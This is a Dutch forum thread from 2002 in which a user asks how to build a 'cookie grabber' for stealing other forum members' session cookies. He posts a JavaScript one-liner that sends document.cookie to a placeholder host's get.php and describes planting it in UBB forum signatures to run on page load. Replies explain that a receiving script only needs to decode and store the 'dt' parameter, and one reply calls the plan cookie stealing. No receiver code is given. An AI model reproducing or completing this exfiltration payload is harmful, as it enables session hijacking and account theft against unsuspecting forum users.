Cookie grabber

Tha Ice · **04-06-2002, 15:57**

Hoe maak je een cookie grabber?
Op deze manier:

Code:

javascript:document.images[0].src='http://blabla/get.php?dt='+escape(document.cookie)

Maar wat voor een php code moet ik dan voor de get.php gebruiken?

Tha Ice · **05-06-2002, 19:23**

Bump...
weet nou niemand hoe het moet of is het gewoon een klote vraag?

Chimera · **05-06-2002, 20:13**

Definately een klotevraag. Wat ben je van plan, en welke cookies wil je 'grabben'? Je kunt sowieso geen cookies bekijken die niet van je eigen domein komen.

Tha Ice · **06-06-2002, 10:08**

dat kan wel ^_^
zet zo'n code maar in je signature en klaar!
Dit werkt echter alleen bij UBB forums dus wees gerust....

**06-06-2002, 17:28**

Citaat:

Chimera schreef:
Definately een klotevraag. Wat ben je van plan, en welke cookies wil je 'grabben'? Je kunt sowieso geen cookies bekijken die niet van je eigen domein komen.

Kan wel...

Ik quote

Citaat:

If you are trying to retrieve a cookie set by a foreign server, this escaping method may trip you up. Use raw_fetch() instead, which has the same semantics as fetch(), but performs no unescaping.

Bron: http://www.perldoc.com/perl5.6.1/lib...evious-Cookies

Maar misschien dat het niet in JavaScript kan, maar lijkt me sterk

Tha Ice · **06-06-2002, 19:21**

Ja maar van perl snap ik helemaal niks...
Dus als er iemand zo lief zo kunnen zijn om ff wat te maken ^_^
en met dat javascriptje kan ik hem dan toch gewoon aanroepen..

**06-06-2002, 19:26**

wat wil je precies??

Tha Ice · **07-06-2002, 10:03**

Een php-script die cookies van elk domein kunnen grabben.
Dit php-script wil ik dan aanroepen door middel van een "onload" javascriptje ofzo. dus als de pagina word geopend waar dit javascriptje opstaat dat dan de cookies automatisch naar de php pagina met het scriptje worden gestuurd en daar opgeslagen.

**07-06-2002, 11:49**

Citaat:

Tha Ice schreef:
dat kan wel ^_^
zet zo'n code maar in je signature en klaar!
Dit werkt echter alleen bij UBB forums dus wees gerust....

Er zijn inderdaad forums waarbij ze Javascript toestaan in de IMG tag, als je dat bedoelt. Dan kan je [IMG]javascript:alert('hallo wereld!')[/IMG] ofzo doen (werkt AFAIK alleen in Internet Explorer), of de cookies doorgeven aan een of ander php/perl script ergens. Maar jij hebt dat dus ergens gelezen en nu vraag je je af hoe je een simpel eenregelig php scriptje schrijft waarmee je die cookies vervolgens opslaat?

**07-06-2002, 17:32**

Citaat:

Tha Ice schreef:
Een php-script die cookies van elk domein kunnen grabben.
Dit php-script wil ik dan aanroepen door middel van een "onload" javascriptje ofzo. dus als de pagina word geopend waar dit javascriptje opstaat dat dan de cookies automatisch naar de php pagina met het scriptje worden gestuurd en daar opgeslagen.

Wil je de cookies nou grabben in PHP of in JavaScript?

Tha Ice · **08-06-2002, 09:02**

Grabben in php...
In aan laten roepen in een signature bijv. door javascript.
Dat hij hemdus naar een php script stuurt!
En dat scriptje hoeft niet 1 regelig te zijn.

**08-06-2002, 12:36**

Wat Ice dus bedoelt is dat hij een php script aanroept, waarbij in de parameter "dt" de cookies staan (het php script hoeft dus helemaal niet de cookies te vragen aan de client, die krijgt ie al van het javascriptje).

Het enige wat het php script hoeft te doen, is die "dt" te url-decoden, en ergens op te slaan, bijvoorbeeld in een tekstbestand (of als dat te moeilijk is in een database ;P).

Nou weet ik niet precies hoe je dat in php doet (dat eenregelige was iets in Perl dat ik in gedachten had

), maar er is vast wel iemand met wat meer php-kennis die Ice wil helpen met het stelen van die cookies...

**08-06-2002, 12:39**

Citaat:

Chip Zero schreef:
Wat Ice dus bedoelt is dat hij een php script aanroept, waarbij in de parameter "dt" de cookies staan (het php script hoeft dus helemaal niet de cookies te vragen aan de client, die krijgt ie al van het javascriptje).

Het enige wat het php script hoeft te doen, is die "dt" te url-decoden, en ergens op te slaan, bijvoorbeeld in een tekstbestand (of als dat te moeilijk is in een database ;P).

Nou weet ik niet precies hoe je dat in php doet (dat eenregelige was iets in Perl dat ik in gedachten had ), maar er is vast wel iemand met meer php-kennis die Ice wil helpen met het stelen van die cookies...

DUS hij wil cookies grabben in JavaScript...
En deze cookies dmv PHP opslaan...

Kun je toch beter beide in PHP doen??

**08-06-2002, 12:45**

Je kan het niet allebei in PHP doen omdat je (in 99% van de browsers) geen toegang hebt tot de cookies van een andere domein. Dat javascriptje heeft wel toegang, omdat het wordt gerund op die andere domein.

Tha Ice · **09-06-2002, 09:02**

Idd eindelijk iemand die me begrijpt ^_^
Nu nog iemand met de kennis....

04-06-2002, 15:57
Tha Ice	Hoe maak je een cookie grabber? Op deze manier: Code: javascript:document.images[0].src='http://blabla/get.php?dt='+escape(document.cookie) Maar wat voor een php code moet ik dan voor de get.php gebruiken? Laatst gewijzigd op 04-06-2002 om 16:00.

05-06-2002, 19:23
Tha Ice	Bump... weet nou niemand hoe het moet of is het gewoon een klote vraag?

05-06-2002, 20:13
Chimera	Definately een klotevraag. Wat ben je van plan, en welke cookies wil je 'grabben'? Je kunt sowieso geen cookies bekijken die niet van je eigen domein komen.

06-06-2002, 10:08
Tha Ice	dat kan wel ^_^ zet zo'n code maar in je signature en klaar! Dit werkt echter alleen bij UBB forums dus wees gerust....

06-06-2002, 19:21
Tha Ice	Ja maar van perl snap ik helemaal niks... Dus als er iemand zo lief zo kunnen zijn om ff wat te maken ^_^ en met dat javascriptje kan ik hem dan toch gewoon aanroepen..

07-06-2002, 10:03
Tha Ice	Een php-script die cookies van elk domein kunnen grabben. Dit php-script wil ik dan aanroepen door middel van een "onload" javascriptje ofzo. dus als de pagina word geopend waar dit javascriptje opstaat dat dan de cookies automatisch naar de php pagina met het scriptje worden gestuurd en daar opgeslagen.

08-06-2002, 09:02
Tha Ice	Grabben in php... In aan laten roepen in een signature bijv. door javascript. Dat hij hemdus naar een php script stuurt! En dat scriptje hoeft niet 1 regelig te zijn.

08-06-2002, 12:45
Verwijderd	Je kan het niet allebei in PHP doen omdat je (in 99% van de browsers) geen toegang hebt tot de cookies van een andere domein. Dat javascriptje heeft wel toegang, omdat het wordt gerund op die andere domein.

09-06-2002, 09:02
Tha Ice	Idd eindelijk iemand die me begrijpt ^_^ Nu nog iemand met de kennis....

Advertentie